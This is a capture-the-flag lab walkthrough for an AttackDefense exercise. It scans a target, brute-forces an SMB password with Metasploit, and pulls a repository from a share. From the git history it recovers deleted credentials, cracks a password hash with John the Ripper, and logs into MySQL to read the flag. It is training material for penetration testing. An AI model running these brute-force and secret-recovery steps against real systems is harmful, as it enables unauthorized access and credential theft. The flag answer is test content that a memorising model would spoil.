

[illegible]

Name	Exploring a Git Repo
URL	https://attackdefense.com/challengedetails?cid=2093
Type	Network Pentesting: Git

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Check the IP address of the machine.

Command: ip a

```
root@attackdefense:~#  
root@attackdefense:~# ip a  
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000  
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00  
    inet 127.0.0.1/8 scope host lo  
        valid_lft forever preferred_lft forever  
43846: eth0@if43847: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default  
    link/ether 02:42:ac:11:00:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0  
    inet 10.1.1.19/24 brd 10.1.1.255 scope global eth0  
        valid_lft forever preferred_lft forever  
43848: eth1@if43849: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default  
    link/ether 02:42:c0:15:e6:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0  
    inet 192.21.230.2/24 brd 192.21.230.255 scope global eth1  
        valid_lft forever preferred_lft forever  
root@attackdefense:~#
```

The IP address of the target machine would be "192.21.230.3".

Step 2: Using nmap to determine the services running on the target machine.

Command: nmap 192.21.230.3

```

root@attackdefense:~# nmap 192.21.230.3
Starting Nmap 7.70 ( https://nmap.org ) at 2020-07-30 22:18 IST
Nmap scan report for evilcorp.com (192.21.230.3)
Host is up (0.000017s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
3306/tcp   open  mysql
MAC Address: 02:42:C0:15:E6:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
root@attackdefense:~#

```

On the target machine smbd (default ports 139 and 445) and mysql (default port 3306) are running.

Using nmap to determine if nmbd is also running on the target machine:

Command: nmap -sU --top-ports 25 192.21.230.3

```

root@attackdefense:~# nmap -sU --top-ports 25 192.21.230.3
Starting Nmap 7.70 ( https://nmap.org ) at 2020-07-30 22:19 IST
Nmap scan report for evilcorp.com (192.21.230.3)
Host is up (0.000081s latency).

PORT      STATE SERVICE
53/udp    closed  domain
67/udp    open|filtered  dhcp
68/udp    open|filtered  dhcp
69/udp    open|filtered  tftp
111/udp   closed  rpcbind
123/udp   open|filtered  ntp
135/udp   open|filtered  msrpc
137/udp   open    netbios-ns
138/udp   open|filtered  netbios-dgm
139/udp   closed  netbios-ssn
161/udp   closed  snmp
162/udp   closed  snmptrap
445/udp   open|filtered  microsoft-ds
500/udp   closed  isakmp
514/udp   closed  syslog

```

```

520/udp    closed      route
631/udp    closed      ipp
998/udp    open|filtered puparp
1434/udp   closed      ms-sql-m
1701/udp   open|filtered L2TP
1900/udp   open|filtered upnp
4500/udp   closed      nat-t-ike
5353/udp   closed      zeroconf
49152/udp  open|filtered unknown
49154/udp  closed      unknown
MAC Address: 02:42:C0:15:E6:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 8.34 seconds
root@attackdefense:~#

```

The default ports used by nmbd are 137 and 138. Port 137 is open on the target machine.

Step 3: Determining the SMB password of the user named jeremy.

Commands:

```

msfconsole
use auxiliary/scanner/smb/smb_login
set SMBUser jeremy
set RHOSTS 192.21.230.3
set PASS_FILE /root/Desktop/wordlists/100-common-passwords.txt
run

```

```

msf5 > use auxiliary/scanner/smb/smb_login
msf5 auxiliary(scanner/smb/smb_login) > set SMBUser jeremy
SMBUser => jeremy
msf5 auxiliary(scanner/smb/smb_login) > set RHOSTS 192.21.230.3
RHOSTS => 192.21.230.3
msf5 auxiliary(scanner/smb/smb_login) > set PASS_FILE /root/Desktop/wordlists/100-common-passwords.txt
PASS_FILE => /root/Desktop/wordlists/100-common-passwords.txt
msf5 auxiliary(scanner/smb/smb_login) > run

[*] 192.21.230.3:445 - 192.21.230.3:445 - Starting SMB login bruteforce
[-] 192.21.230.3:445 - 192.21.230.3:445 - Failed: '.\jeremy:242424',
[!] 192.21.230.3:445 - No active DB -- Credential data will not be saved!
[-] 192.21.230.3:445 - 192.21.230.3:445 - Failed: '.\jeremy:0987654321',
[-] 192.21.230.3:445 - 192.21.230.3:445 - Failed: '.\jeremy:marisol',
[-] 192.21.230.3:445 - 192.21.230.3:445 - Failed: '.\jeremy:nikita',

```

```
[*] 192.21.230.3:445 - 192.21.230.3:445 - Failed: '.\jeremy:adminpasswd',
[+] 192.21.230.3:445 - 192.21.230.3:445 - Success: '.\jeremy:raspberry'
[*] 192.21.230.3:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/smb/smb_login) >
```

The SMB password for the user named jeremy is "raspberry".

Step 4: Accessing the corp_code share using the credentials of jeremy obtained in the previous step.

Command: smbclient //192.21.230.3/corp_code -Ujeremy%raspberry

```
root@attackdefense:~#
root@attackdefense:~# smbclient //192.21.230.3/corp_code -Ujeremy%raspberry
Try "help" to get a list of possible commands.
smb: \>
```

Command: ls

```
smb: \> ls
.                D          0  Thu Jul 30 21:15:22 2020
..               D          0  Thu Jul 30 20:27:48 2020
webapp-code      D          0  Thu Jul 30 21:15:22 2020

        660222936 blocks of size 1024. 34312912 blocks available
smb: \>
```

Notice there is a directory named web-code in the corp_code share.

Inspecting the files in it:

Commands:

cd webapp-code

ls

```
smb: \> cd webapp-code\
smb: \webapp-code\> ls
```

.	D	0	Thu Jul 30 21:15:22 2020
..	D	0	Thu Jul 30 21:15:22 2020
.git	DH	0	Thu Jul 30 20:11:08 2020
django_web_app	D	0	Thu Jul 30 19:45:14 2020
Screenshots	D	0	Thu Jul 30 18:14:35 2020
_config.yml	N	25	Thu Jul 30 18:14:35 2020
LICENSE	N	1070	Thu Jul 30 18:14:35 2020
README.md	N	3098	Thu Jul 30 18:14:35 2020

```
660222936 blocks of size 1024. 78090672 blocks available
smb: \webapp-code\> █
```

Notice the .git directory is also present in the above code.

Use the following commands to download the web-code directory into /tmp directory of the host machine:

Commands:

```
mask ""
recurse ON
prompt OFF
lcd /tmp
mget *
```

```
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> lcd /tmp
smb: \> mget *
getting file \webapp-code\.git\description of size 73 as description (730000.0 KiloBytes/sec) (average inf KiloBytes/sec)
getting file \webapp-code\.git\HEAD of size 28 as HEAD (280000.0 KiloBytes/sec) (average inf KiloBytes/sec)
getting file \webapp-code\.git\COMMIT_EDITMSG of size 75 as COMMIT_EDITMSG (750000.0 KiloBytes/sec) (average inf KiloBytes/sec)
```

```
getting file \\webapp-code\\Screenshots\\Django WebApp - Google Chrome 04-12-2019 13_41_50.png of size 77039 as Django WebApp - Google Chrome 04-12-2019 13_41_50.png (75226.1 KiloBytes/sec) (average 166900.9 KiloBytes/sec)
getting file \\webapp-code\\Screenshots\\Django WebApp - Google Chrome 03-12-2019 20_48_45.png of size 1962977 as Django WebApp - Google Chrome 03-12-2019 20_48_45.png (136925.5 KiloBytes/sec) (average 166173.6 KiloBytes/sec)
getting file \\webapp-code\\Screenshots\\New Tab - Google Chrome 03-12-2019 19_14_44.png of size 39654 as New Tab - Google Chrome 03-12-2019 19_14_44.png (38720.8 KiloBytes/sec) (average 165953.1 KiloBytes/sec)
getting file \\webapp-code\\_config.yml of size 25 as _config.yml (250000.0 KiloBytes/sec) (average 165953.2 KiloBytes/sec)
getting file \\webapp-code\\LICENSE of size 1070 as LICENSE (10700000.0 KiloBytes/sec) (average 165955.0 KiloBytes/sec)
getting file \\webapp-code\\README.md of size 3098 as README.md (30980000.0 KiloBytes/sec) (average 165960.2 KiloBytes/sec)
smb: \\>
```

Exit the SMB session using the exit command or press Ctrl + d.

Step 6: Analyzing the git metadata for obtained files.

Viewing git metadata:

1. Checking the number of git branches:

Commands:

```
cd /tmp/webapp-code
git branch
```

```
root@attackdefense:~# cd /tmp/webapp-code/
root@attackdefense:/tmp/webapp-code#
root@attackdefense:/tmp/webapp-code# git branch
  development
  master
* new_product
  production
root@attackdefense:/tmp/webapp-code#
```

There were 4 git branches: development, master, new_product and production

2. Current branch (HEAD):

The current branch (at HEAD) is “new_product”. It is highlighted and has a star indicator. It can also be inferred from the git log command:

Command: git log

```
commit e5a38203958912c9aec28aa8ce5941c445ca8c78 (HEAD -> new_product)
Author: Bob Willson <bob.willson@dev.evilcorp.com>
Date: Thu Jul 30 20:10:36 2020 +0530

    Making major mods to shape out a new product out of the current product :)

commit 6713e3a7096fd90b53783f3d8398ffb9a82b130a (production)
Author: Kevin Willams <kev.will@devops.evilcorp.com>
Date: Thu Jul 30 19:58:01 2020 +0530

    Redacted secret key and the database credentials from settings.py

commit eb7fd4ef70af68933e9fb98fb09dc07b0bb5ce41
Author: Tom Matthew <tom.mat@prod.evilcorp.com>
Date: Thu Jul 30 19:56:10 2020 +0530

    Modified settings.py for production

commit ea4174a76e38e48280f306b481ad5e20f17668d8 (development)
Author: Alice Jane <alice.jane@dev.evilcorp.com>
Date: Thu Jul 30 19:48:13 2020 +0530
:
```

Notice that the first entry (the latest entry) points to new_product, which is the current branch.

Note: The **HEAD** points out the last commit in the current checkout branch. It is like a pointer to any reference. The **HEAD** can be understood as the "current branch." When you switch branches with 'checkout,' the **HEAD** is transferred to the new branch.

Reference: <https://www.javatpoint.com/git-head>

3. User working on the new_product branch:

Checking the git logs:

Command: git log

```

commit e5a38203958912c9aec28aa8ce5941c445ca8c78 (HEAD -> new_product)
Author: Bob Willson <bob.willson@dev.evilcorp.com>
Date: Thu Jul 30 20:10:36 2020 +0530

    Making major mods to shape out a new product out of the current product :)

commit 6713e3a7096fd90b53783f3d8398ffb9a82b130a (production)
Author: Kevin Willams <kev.will@devops.evilcorp.com>
Date: Thu Jul 30 19:58:01 2020 +0530

    Redacted secret key and the database credentials from settings.py

commit eb7fd4ef70af68933e9fb98fb09dc07b0bb5ce41
Author: Tom Matthew <tom.mat@prod.evilcorp.com>
Date: Thu Jul 30 19:56:10 2020 +0530

    Modified settings.py for production

commit ea4174a76e38e48280f306b481ad5e20f17668d8 (development)
Author: Alice Jane <alice.jane@dev.evilcorp.com>
Date: Thu Jul 30 19:48:13 2020 +0530
:

```

The author of the new_product branch is “Bob Willson”, having email address “bob.willson@dev.evilcorp.com”

4. Number of users who have made some code contribution in the project code. Also find out the total commit count of each user in all the branches.

Command: git shortlog -s

```

root@attackdefense:/tmp/webapp-code# git shortlog -s
 3 Alice Jane
 1 Bob Willson
 1 John Doe
 3 Kevin Willams
 1 Tom Matthew
root@attackdefense:/tmp/webapp-code#

```

There are 5 users who made some code contribution in the webapp.

The above command also reveals the total number of commit counts calculated on all branches per user.

5. Provide the email address of the user who audits the code and removes any sensitive information from the repository.

Command: git log

```
commit 6713e3a7096fd90b53783f3d8398ffb9a82b130a (production)
Author: Kevin Willams <kev.will@devops.evilcorp.com>
Date: Thu Jul 30 19:58:01 2020 +0530

    Redacted secret key and the database credentials from settings.py
```

```
commit 0e059c1193968d6cfa5015625f46888f3cad89a7
Author: Kevin Willams <kev.will@devops.evilcorp.com>
Date: Thu Jul 30 19:47:28 2020 +0530

    Redacted secret key from settings.py
```

Email Address: kev.will@devops.evilcorp.com

The changes could be seen using the following commands:

Command: git show 028877801b74d9ed6e94f11bb416d74341c49524

```
root@attackdefense:/tmp/webapp-code#
root@attackdefense:/tmp/webapp-code# git show 028877801b74d9ed6e94f11bb416d74341c49524
commit 028877801b74d9ed6e94f11bb416d74341c49524
Author: Kevin Willams <kev.will@devops.evilcorp.com>
Date: Thu Jul 30 19:46:09 2020 +0530

    Database containing sensitive creds redacted from dev branch

diff --git a/django_web_app/db.sqlite3 b/django_web_app/db.sqlite3
deleted file mode 100644
index cbda529..0000000
Binary files a/django_web_app/db.sqlite3 and /dev/null differ
root@attackdefense:/tmp/webapp-code#
```

Command: git show 6713e3a7096fd90b53783f3d8398ffb9a82b130a

```

Redacted secret key and the database credentials from settings.py

diff --git a/django_web_app/django_web_app/settings.py b/django_web_app/django_web_app/settings.py
index 44a5832..8c71f4b 100644
--- a/django_web_app/django_web_app/settings.py
+++ b/django_web_app/django_web_app/settings.py
@@ -20,7 +20,7 @@ BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# See https://docs.djangoproject.com/en/2.1/howto/deployment/checklist/

# SECURITY WARNING: keep the secret key used in production secret!
-SECRET_KEY = 'c458*%^o=@mb@=@e%b9yz^b#l-(7_&s0ick#-wy3kw36$z($g'
+SECRET_KEY = '[REDACTED]' ^M

# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
@@ -79,11 +79,11 @@ WSGI_APPLICATION = 'django_web_app.wsgi.application'
DATABASES = {
    'default': {
        'ENGINE': 'sql_server.pyodbc',
-       'NAME': 'evilcorp_userbase',
-       'USER': 'admin',
-       'PASSWORD': '%$@!#RFJ(#$(refw23r5tan3t54d04m!#@',
-       'HOST': 'evilcorp.com',
-       'PORT': '3306',
+       'NAME': '[REDACTED]', ^M
+       'USER': '[REDACTED]', ^M
+       'PASSWORD': '[REDACTED]', ^M
+       'HOST': '[REDACTED]', ^M
+       'PORT': '[REDACTED]', ^M
        'OPTIONS': {
            'driver': 'ODBC Driver 17 for SQL Server',

```

Notice that all the sensitive information had been removed from the files by "kev.will@devops.evilcorp.com".

6. Retrieving the password for the user named “tom” from the SQLITE database that was redacted from the development branch.

Use the following command to get git logs for the development branch only.

Command: git log development

```
commit ea4174a76e38e48280f306b481ad5e20f17668d8 (development)
Author: Alice Jane <alice.jane@dev.evilcorp.com>
Date: Thu Jul 30 19:48:13 2020 +0530

    Removed pycache...

commit 0e059c1193968d6cfa5015625f46888f3cad89a7
Author: Kevin Willams <kev.will@devops.evilcorp.com>
Date: Thu Jul 30 19:47:28 2020 +0530

    Redacted secret key from settings.py

commit 028877801b74d9ed6e94f11bb416d74341c49524
Author: Kevin Willams <kev.will@devops.evilcorp.com>
Date: Thu Jul 30 19:46:09 2020 +0530

    Database containing sensitive creds redacted from dev branch

commit c2ec29626731c484c932174fb6be47823de214d4
Author: Alice Jane <alice.jane@dev.evilcorp.com>
Date: Thu Jul 30 19:41:27 2020 +0530
:
```

Notice the commit messages. There is one commit which says “Database containing sensitive creds redacted from dev branch”.

So the database was redacted in this commit. Hence it must be there in the commit before it.

Switching to the commit before the database was redacted:

Command: git checkout c2ec29626731c484c932174fb6be47823de214d4

```
root@attackdefense:/tmp/webapp-code# git checkout c2ec29626731c484c932174fb6be47823de214d4
Note: switching to 'c2ec29626731c484c932174fb6be47823de214d4'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:

    git switch -c <new-branch-name>

Or undo this operation with:

    git switch -

Turn off this advice by setting config variable advice.detachedHead to false

HEAD is now at c2ec296 Removed pycache from 2 models
root@attackdefense:/tmp/webapp-code#
```

Retrieving the SQLITE database:

Commands:

ls

ls django_web_app/

```
root@attackdefense:/tmp/webapp-code# ls
LICENSE  README.md  Screenshots  _config.yml  django_web_app
root@attackdefense:/tmp/webapp-code# ls django_web_app/
blog  db.sqlite3  django_web_app  manage.py  media  users
root@attackdefense:/tmp/webapp-code#
```

Retrieving the password for user named "tom":

Command: sqlite3 db.sqlite3

```
root@attackdefense:/tmp/webapp-code# sqlite3 django_web_app/db.sqlite3
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite>
```

Checking the list of available tables:

Command: .tables

```
sqlite> .tables
auth_group          django_admin_log
auth_group_permissions  django_content_type
auth_permission      django_migrations
auth_user            django_session
auth_user_groups      evilcorp_userbase
auth_user_user_permissions  users_profile
blog_post
sqlite>
```

Checking the schema for evilcorp_userbase table:

Command: .schema evilcorp_userbase

```
sqlite> .schema evilcorp_userbase
CREATE TABLE IF NOT EXISTS "evilcorp_userbase" ("uid" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, "password" varchar(128) NOT NULL, "last_login" datetime NULL, "is_superuser" bool NOT NULL, "username" varchar(150) NOT NULL UNIQUE, "email" varchar(254) NOT NULL, "is_active" bool NOT NULL, "date_joined" datetime NOT NULL);
sqlite>
```

The second field is the password (as indicated in the table schema).

Retrieving all the user entries from the evilcorp_userbase table:

```
sqlite> select * from evilcorp_userbase;
1|$6$FAaRr1ZvF2AuDcTU$NtYugc9Ltfmhp5Dji9K95tdwVyIx53jYRF00KHRAsetodAgXX3i2Lra.WneZ0ZoBRo.tCYMSZIJkuJchZgmb.|2019-03-01 04:44:00.514779|1|tom|tom@evilcorp.com|1|2019-10-16 09:25:29.142114
2|$6$SILeId.NonGFJ9SL$gm/hQ/AP3JK/vEIPScKQWuLM9U2d/hdFCDt9I7bXc//0ahuczUqRjk0it9BjNL2n0Y.6ovETi27TG9vnZ0aVj/|2019-10-14 02:40:21.910582|0|jeremy|jeremy@evilcorp.com|1|2020-06-14 09:30:21
3|$6$pNDPrL7xCXpkm8QW$NmIjBxdipAG2UuUk0Kz1t0o/DBS.T8V9JX/QzbfE8C/nE2tM2UU5eLoT3dYiYVIBHez2zW6pFLpu0Vz2B8f0a0|2020-03-03 08:44:00.244981|0|jackie|jackie@evilcorp.com|1|2020-03-18 11:36:15.082944
4|$6$ihobFtWkZpSaBiEn$0jis2a6Qn.AwnhLNKg8wljoGRtNiwJFd6yu0ciFVrXW/iEVhB4sw0o0pUvm5t0Dyn8lI4J5ldTm6i4UMsP6mQ1|2019-07-28 04:34:23.290627|0|rohn|rohn@evilcorp.com|1|2019-12-30 06:51:16.867199
5|$6$EUhl.RT6xww5jCW2$bP4j3fcCtVMF3KuPQjtw.ae8HycjejGGVzLLoWNb6pAz7zeeL5fddADBGqxnfaLDYMP/Xr0sgVMK2vNpn7JfP/|2020-06-24 02:46:12.304760|0|harry|harry@evilcorp.com|1|2019-06-24 02:46:12.304760
sqlite>
```

The passwords are hashed.

Cracking the passwords for tom using john the ripper (JTR).

Save the hash to the file named hash.txt

Command: cat hash.txt

```
root@attackdefense:/tmp/webapp-code# cat hash.txt
$6$FAaRr1ZvF2AuDCtU$NtYyugc9Ltfmhp5Dji9K95tdwVyIx53jYRFQ0KHRAsetodAgXX3i2Lra.WneZQZo
BRo.tCYMSZiJkuJchZgmb.
root@attackdefense:/tmp/webapp-code#
```

Cracking the hash using john:

Command: john hash.txt

```
root@attackdefense:/tmp/webapp-code# john hash.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 16 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
pineapple (?)
lg 0:00:00:06 DONE 2/3 (2020-07-30 23:40) 0.1492g/s 611.3p/s 611.3c/s 611.3C/s ilove
god..Peter
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@attackdefense:/tmp/webapp-code#
```

Password of tom: pineapple

7. Retrieve the credentials for mysql database from the webapp in production.

Checkout to the production branch:

Command: git checkout production

```
root@attackdefense:/tmp/webapp-code# git checkout production
Previous HEAD position was c2ec296 Removed pycache from 2 models
Switched to branch 'production'
root@attackdefense:/tmp/webapp-code#
```

Getting git logs for production branch:

Command: git log production

```
commit 6713e3a7096fd90b53783f3d8398ffb9a82b130a (HEAD -> production)
Author: Kevin Willams <kev.will@devops.evilcorp.com>
Date: Thu Jul 30 19:58:01 2020 +0530

    Redacted secret key and the database credentials from settings.py

commit eb7fd4ef70af68933e9fb98fb09dc07b0bb5ce41
Author: Tom Matthew <tom.mat@prod.evilcorp.com>
Date: Thu Jul 30 19:56:10 2020 +0530

    Modified settings.py for production

commit ea4174a76e38e48280f306b481ad5e20f17668d8 (development)
Author: Alice Jane <alice.jane@dev.evilcorp.com>
Date: Thu Jul 30 19:48:13 2020 +0530

    Removed pycache...

commit 0e059c1193968d6cfa5015625f46888f3cad89a7
Author: Kevin Willams <kev.will@devops.evilcorp.com>
Date: Thu Jul 30 19:47:28 2020 +0530
:
```

Notice that one of the commits has the message: “Redacted secret key and the database credentials from settings.py”

Also, the commit after it contains the message: “Modified settings.py for production”.

So reverting back to the commit where settings.py file was modified for production could help in determining the database credentials. In a later commit the credentials were removed by Kevin Williams.

Command: git checkout eb7fd4ef70af68933e9fb98fb09dc07b0bb5ce41

```
root@attackdefense:/tmp/webapp-code# git checkout eb7fd4ef70af68933e9fb98fb09dc07b0bb5ce41
Note: switching to 'eb7fd4ef70af68933e9fb98fb09dc07b0bb5ce41'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:

    git switch -c <new-branch-name>

Or undo this operation with:

    git switch -

Turn off this advice by setting config variable advice.detachedHead to false

HEAD is now at eb7fd4e Modified settings.py for production
root@attackdefense:/tmp/webapp-code#
```

Retrieving database credentials from settings.py:

Command: cat django_web_app/django_web_app/settings.py

```
root@attackdefense:/tmp/webapp-code# cat django_web_app/django_web_app/settings.py
"""
Django settings for django_web_app project.

Generated by 'django-admin startproject' using Django 2.1.7.

For more information on this file, see
https://docs.djangoproject.com/en/2.1/topics/settings/

For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.1/ref/settings/
"""

import os

# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
```

```
# Database
# https://docs.djangoproject.com/en/2.1/ref/settings/#databases

DATABASES = {
    'default': {
        'ENGINE': 'sql_server.pyodbc',
        'NAME': 'evilcorp_userbase',
        'USER': 'admin',
        'PASSWORD': '%$@!#RFJ(#$(refw23r5tan3t54d04m!#@',
        'HOST': 'evilcorp.com',
        'PORT': '3306',
        'OPTIONS': {
            'driver': 'ODBC Driver 17 for SQL Server',
            'isolation_level': 'READ UNCOMMITTED', # prevent SELECT deadlocks
        },
    },
}
```

Credentials for the mysql server:

Username: admin

Password: %\$@!#RFJ(#\$(refw23r5tan3t54d04m!#@

Connecting to the mysql database using the credentials obtained above.

Command: `mysql -uadmin -p'%$@!#RFJ(#$(refw23r5tan3t54d04m!#@' -h evilcorp.com -P 3306`

```
root@attackdefense:/tmp/webapp-code# mysql -uadmin -p'%$@!#RFJ(#$(refw23r5tan3t54d04m!#@' -hevilcorp.com -P3306
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 6
Server version: 5.7.31-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> Bye
root@attackdefense:/tmp/webapp-code#
```

Note: In some terminals the above password may not work for login because the password itself contains some special characters that could be interpreted by the terminals differently. Hence, the safe way would be to save the password in a file and read it in an environment variable (after removing the newline character) and passing the password to the mysql command via the environment variable.

Command: cat passwd

```
root@attackdefense:/tmp/webapp-code# cat passwd
%$@!#RFJ(#$(refw23r5tan3t54d04m!#@
root@attackdefense:/tmp/webapp-code#
root@attackdefense:/tmp/webapp-code# PASSWD=$(cat passwd | tr -d '\n')
root@attackdefense:/tmp/webapp-code#
root@attackdefense:/tmp/webapp-code# mysql -uadmin -p$PASSWD -hevilcorp.com -P3306
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 7
Server version: 5.7.31-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>
```

Note: Yet another way to avoid the above would be to login by specifying the password when the prompt message shows:

Command: mysql -u admin -h evilcorp.com -P 3306 -p

```
root@attackdefense:~#
root@attackdefense:~# mysql -u admin -h evilcorp.com -P 3306 -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 4
Server version: 5.7.31-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>
```

This way the shell won't get the password and hence, the special characters won't cause any issues.

Checking the list of available databases:

Command: show databases;

```
MySQL [(none)]> show databases;
```

Database
information_schema
mysql
performance_schema
secret_flag
sys

```
5 rows in set (0.001 sec)
```

```
MySQL [(none)]>
```

Using the secret_flag database:

Command: use secret_flag;

```
MySQL [(none)]>
```

```
MySQL [(none)]> use secret_flag;
```

```
Reading table information for completion of table and column names  
You can turn off this feature to get a quicker startup with -A
```

Database changed

```
MySQL [secret_flag]>
```

Getting the list of tables available in this database:

Command: show tables;

```
MySQL [secret_flag]> show tables;
```

Tables_in_secret_flag
flag

```
1 row in set (0.000 sec)
```

```
MySQL [secret_flag]>
```

Command: select * from flag;

```
MySQL [secret_flag]> select * from flag;
+-----+-----+
| name          | value                                |
+-----+-----+
| THIS_IS_THE_FLAG | 8e4ce0a6ce69575a4aa5acd5 |
+-----+-----+
1 row in set (0.000 sec)

MySQL [secret_flag]>
```

Flag: 8e4ce0a6ce69575a4aa5acd5

References:

1. MYSQL (<https://www.mysql.com/>)
2. SQLite (<https://www.sqlite.org/index.html>)
3. Samba (https://www.samba.org/samba/what_is_samba.html)
4. Git (<https://git-scm.com/>)